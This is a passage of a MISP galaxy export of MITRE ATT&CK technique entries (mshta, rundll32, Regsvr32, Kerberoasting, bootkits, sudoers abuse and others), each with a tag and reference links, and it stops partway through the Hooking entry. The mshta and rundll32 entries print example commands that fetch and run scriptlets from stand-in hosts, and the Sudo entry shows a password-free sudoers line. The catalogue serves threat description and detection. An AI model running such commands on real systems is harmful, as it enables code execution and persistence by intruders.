The adversary is trying to gather data of interest to their goal.

Collection consists of techniques used to identify and gather information, such as sensitive files, from a target network prior to exfiltration. This category also covers locations on a system or network where the adversary may look for information to exfiltrate.

The tag is: *misp-galaxy:mitre-attack-pattern="Collection - TA0035"*

Table 9127. Table References

Links
https://attack.mitre.org/tactics/TA0035

Exfiltration - TA0036

The adversary is trying to steal data.

Exfiltration refers to techniques and attributes that result or aid in the adversary removing files and information from the targeted mobile device.

In the mobile environment, mobile devices are frequently connected to networks outside enterprise control such as cellular networks or public Wi-Fi networks. Adversaries could attempt to evade detection by communicating on these networks, and potentially even by using non-Internet Protocol mechanisms such as Short Message Service (SMS). However, cellular networks often have data caps and/or extra data charges that could increase the potential for adversarial communication to be detected.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration - TA0036"*

Table 9128. Table References

Links
https://attack.mitre.org/tactics/TA0036

Rootkit - T1014

Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits)

Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)

Rootkits that reside or modify boot sectors are known as [Bootkit](https://attack.mitre.org/techniques/T1542/003)s and specifically target the boot process of the operating system.

The tag is: *misp-galaxy:mitre-attack-pattern="Rootkit - T1014"*

Table 9129. Table References

Links
http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf
https://attack.mitre.org/techniques/T1014
https://en.wikipedia.org/wiki/Rootkit
https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf

Mshta - T1170

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code>

They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>

Mshta.exe can be used to bypass application whitelisting solutions that do not account for its

potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

The tag is: *misp-galaxy:mitre-attack-pattern="Mshta - T1170"*

Table 9130. Table References

Links
https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/
https://attack.mitre.org/techniques/T1170
https://en.wikipedia.org/wiki/HTML_Application
https://lolbas-project.github.io/lolbas/Binaries/Mshta/
https://msdn.microsoft.com/library/ms536471.aspx
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/

Screensaver - T1180

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence:

- <code>SCRNSAVE.exe</code> - set to malicious PE path
- <code>ScreenSaveActive</code> - set to '1' to enable the screensaver
- <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock
- <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Screensaver - T1180"*

Table 9131. Table References

Links
https://attack.mitre.org/techniques/T1180

https://en.wikipedia.org/wiki/Screensaver
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf

Rundll32 - T1085

The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.

Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

The tag is: *misp-galaxy:mitre-attack-pattern="Rundll32 - T1085"*

Table 9132. Table References

Links
https://attack.mitre.org/techniques/T1085
https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf

Hypervisor - T1062

This technique has been deprecated and should no longer be used.

A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.

The tag is: *misp-galaxy:mitre-attack-pattern="Hypervisor - T1062"*

Table 9133. Table References

Links

http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf
http://en.wikipedia.org/wiki/Xen
http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html
https://attack.mitre.org/techniques/T1062
https://capec.mitre.org/data/definitions/552.html
https://en.wikipedia.org/wiki/Hypervisor

Kerberoasting - T1208

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)

This same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208"*

Table 9134. Table References

Links
https://adsecurity.org/?p=2293
https://attack.mitre.org/techniques/T1208
https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
https://msdn.microsoft.com/library/ms677949.aspx
https://redsiege.com/kerberoast-slides

https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx
https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/

Masquerading - T1036

Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)

The tag is: *misp-galaxy:mitre-attack-pattern="Masquerading - T1036"*

Table 9135. Table References

Links
https://attack.mitre.org/techniques/T1036
https://lolbas-project.github.io/
https://www.elastic.co/blog/how-hunt-masquerade-ball
https://x.com/ItsReallyNick/status/1055321652777619457

Scripting - T1064

This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.

Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.

Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.

Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit

(Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Scripting - T1064"*

Table 9136. Table References

Links
http://www.metasploit.com
https://attack.mitre.org/techniques/T1064
https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
https://github.com/mattifestation/PowerSploit
https://www.uperesia.com/analyzing-malicious-office-documents
https://www.veil-framework.com/framework/

Phishing - T1660

Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as “spearphishing.” Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages.

Mobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms. Adversaries may also impersonate executives of organizations to persuade victims into performing some action on their behalf. For example, adversaries will often use social engineering techniques in text messages to trick the victims into acting quickly, which leads to adversaries obtaining credentials and other information.

Mobile devices are a particularly attractive target for adversaries executing phishing campaigns. Due to their smaller form factor than traditional desktop endpoints, users may not be able to notice minor differences between genuine and phishing websites. Further, mobile devices have additional sensors and radios that allow adversaries to execute phishing attempts over several different vectors, such as:

- SMS messages: Adversaries may send SMS messages (known as “smishing”) from compromised devices to potential targets to convince the target to, for example, install malware, navigate to a specific website, or enable certain insecure configurations on their device.
- Quick Response (QR) Codes: Adversaries may use QR codes (known as “quishing”) to redirect users to a phishing website. For example, an adversary could replace a legitimate public QR Code with one that leads to a different destination, such as a phishing website. A malicious QR

code could also be delivered via other means, such as SMS or email. In the latter case, an adversary could utilize a malicious QR code in an email to pivot from the user's desktop computer to their mobile device.

- Phone Calls: Adversaries may call victims (known as "vishing") to persuade them to perform an action, such as providing login credentials or navigating to a malicious website. This could also be used as a technique to perform the initial access on a mobile device, but then pivot to a computer/other network by having the victim perform an action on a desktop computer.

The tag is: *misp-galaxy:mitre-attack-pattern="Phishing - T1660"*

Table 9137. Table References

Links
https://attack.mitre.org/techniques/T1660
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html

Bootkit - T1067

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)

Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

Master Boot Record

The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

Volume Boot Record

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

The tag is: *misp-galaxy:mitre-attack-pattern="Bootkit - T1067"*

Table 9138. Table References

Links
http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion
https://attack.mitre.org/techniques/T1067
https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf

PowerShell - T1086

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

Administrator permissions are required to use PowerShell to connect to remote systems.

A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)

PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="PowerShell - T1086"*

Table 9139. Table References

Links
http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
http://www.sixdub.net/?p=367
https://attack.mitre.org/techniques/T1086
https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/
https://github.com/jaredhaight/PSAttack
https://github.com/mattifestation/PowerSploit
https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/
https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx
https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html

Timestomp - T1099

Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not

appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)

The tag is: *misp-galaxy:mitre-attack-pattern="Timestomp - T1099"*

Table 9140. Table References

Links
http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html
https://attack.mitre.org/techniques/T1099

Regsvr32 - T1117

Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)

Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.

Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117"*

Table 9141. Table References

Links
https://attack.mitre.org/techniques/T1117
https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
https://support.microsoft.com/en-us/kb/249873
https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/
https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html

InstallUtil - T1118

InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)

The tag is: *misp-galaxy:mitre-attack-pattern="InstallUtil - T1118"*

Table 9142. Table References

Links
https://attack.mitre.org/techniques/T1118
https://lolbas-project.github.io/lolbas/Binaries/Installutil/
https://msdn.microsoft.com/en-us/library/50614e95.aspx

CMSTP - T1191

The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.

CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="CMSTP - T1191"*

Table 9143. Table References

Links

http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
https://attack.mitre.org/techniques/T1191
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)
https://github.com/api0cradle/UltimateAppLockerByPassList
https://msitpros.com/?p=3960
https://twitter.com/ItsReallyNick/status/958789644165894146
https://twitter.com/NickTyrer/status/958450014111633408

Keychain - T1142

Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.

To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user's logon credentials.

The tag is: *misp-galaxy:mitre-attack-pattern="Keychain - T1142"*

Table 9144. Table References

Links
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
https://attack.mitre.org/techniques/T1142
https://en.wikipedia.org/wiki/Keychain_(software)

Launchctl - T1152

Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> — /Path/to/thing/to/execute "arg" "arg" "arg"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.

Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.

The tag is: *misp-galaxy:mitre-attack-pattern="Launchctl - T1152"*

Table 9145. Table References

Links
https://attack.mitre.org/techniques/T1152
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

Source - T1153

This technique has been deprecated and should no longer be used.

The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>.**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]</code>. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)

Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.

The tag is: *misp-galaxy:mitre-attack-pattern="Source - T1153"*

Table 9146. Table References

Links
https://attack.mitre.org/techniques/T1153
https://ss64.com/bash/source.html

Trap - T1154

The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)

The tag is: *misp-galaxy:mitre-attack-pattern="Trap - T1154"*

Table 9147. Table References

Links
https://attack.mitre.org/techniques/T1154
https://bash.cyberciti.biz/guide/Trap_statement
https://ss64.com/bash/trap.html

HISTCONTROL - T1148

The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.

The tag is: *misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148"*

Table 9148. Table References

Links
https://attack.mitre.org/techniques/T1148
https://capec.mitre.org/data/definitions/13.html

Defacement - T1491

Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages.

The tag is: *misp-galaxy:mitre-attack-pattern="Defacement - T1491"*

Table 9149. Table References

Links
https://attack.mitre.org/techniques/T1491

AppleScript - T1155

macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language

scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>.

The tag is: *misp-galaxy:mitre-attack-pattern="AppleScript - T1155"*

Table 9150. Table References

Links
https://attack.mitre.org/techniques/T1155
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/

Geofencing - T1581

Adversaries may use a device's geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv)

[Geofencing](https://attack.mitre.org/techniques/T1581) is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device's location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements.

One method to accomplish [Geofencing](https://attack.mitre.org/techniques/T1581) on Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to other [Geofencing](https://attack.mitre.org/techniques/T1581) methods, this requires that the user has granted the `ACCESS_FINE_LOCATION` and `ACCESS_BACKGROUND_LOCATION` permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11 introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include "Allow only while using the app", which will effectively prohibit background location collection.(Citation: Android Geofencing API)

Similarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call `requestWhenInUseAuthorization()` or `requestAlwaysAuthorization()`, depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device's location, including one-time use and only when the application is running in the foreground.(Citation: Apple Location Services)

[Geofencing](https://attack.mitre.org/techniques/T1581) can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific [Input Prompt](https://attack.mitre.org/techniques/T1411)s and/or advertisements.

The tag is: *misp-galaxy:mitre-attack-pattern="Geofencing - T1581"*

Table 9151. Table References

Links
https://attack.mitre.org/techniques/T1581
https://blog.lookout.com/esurv-research
https://developer.android.com/training/location/geofencing
https://developer.apple.com/documentation/corelocation/requesting_authorization_for_location_services

Emond - T1519

Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.

The tag is: *misp-galaxy:mitre-attack-pattern="Emond - T1519"*

Table 9152. Table References

Links
http://www.magnusviri.com/Mac/what-is-emond.html
https://attack.mitre.org/techniques/T1519

https://www.sentinelone.com/blog/how-malware-persists-on-macos/
https://www.xorrior.com/emond-persistence/

Hooking - T1617

Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system.

The tag is: *misp-galaxy:mitre-attack-pattern="Hooking - T1617"*

Table 9153. Table References

Links
https://attack.mitre.org/techniques/T1617

Sudo - T1169

The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware).

Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.

The tag is: *misp-galaxy:mitre-attack-pattern="Sudo - T1169"*

Table 9154. Table References

Links
https://attack.mitre.org/techniques/T1169
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/

Hooking - T1179

Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions.

Hooking involves redirecting calls to these functions and can be implemented via:

- **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)
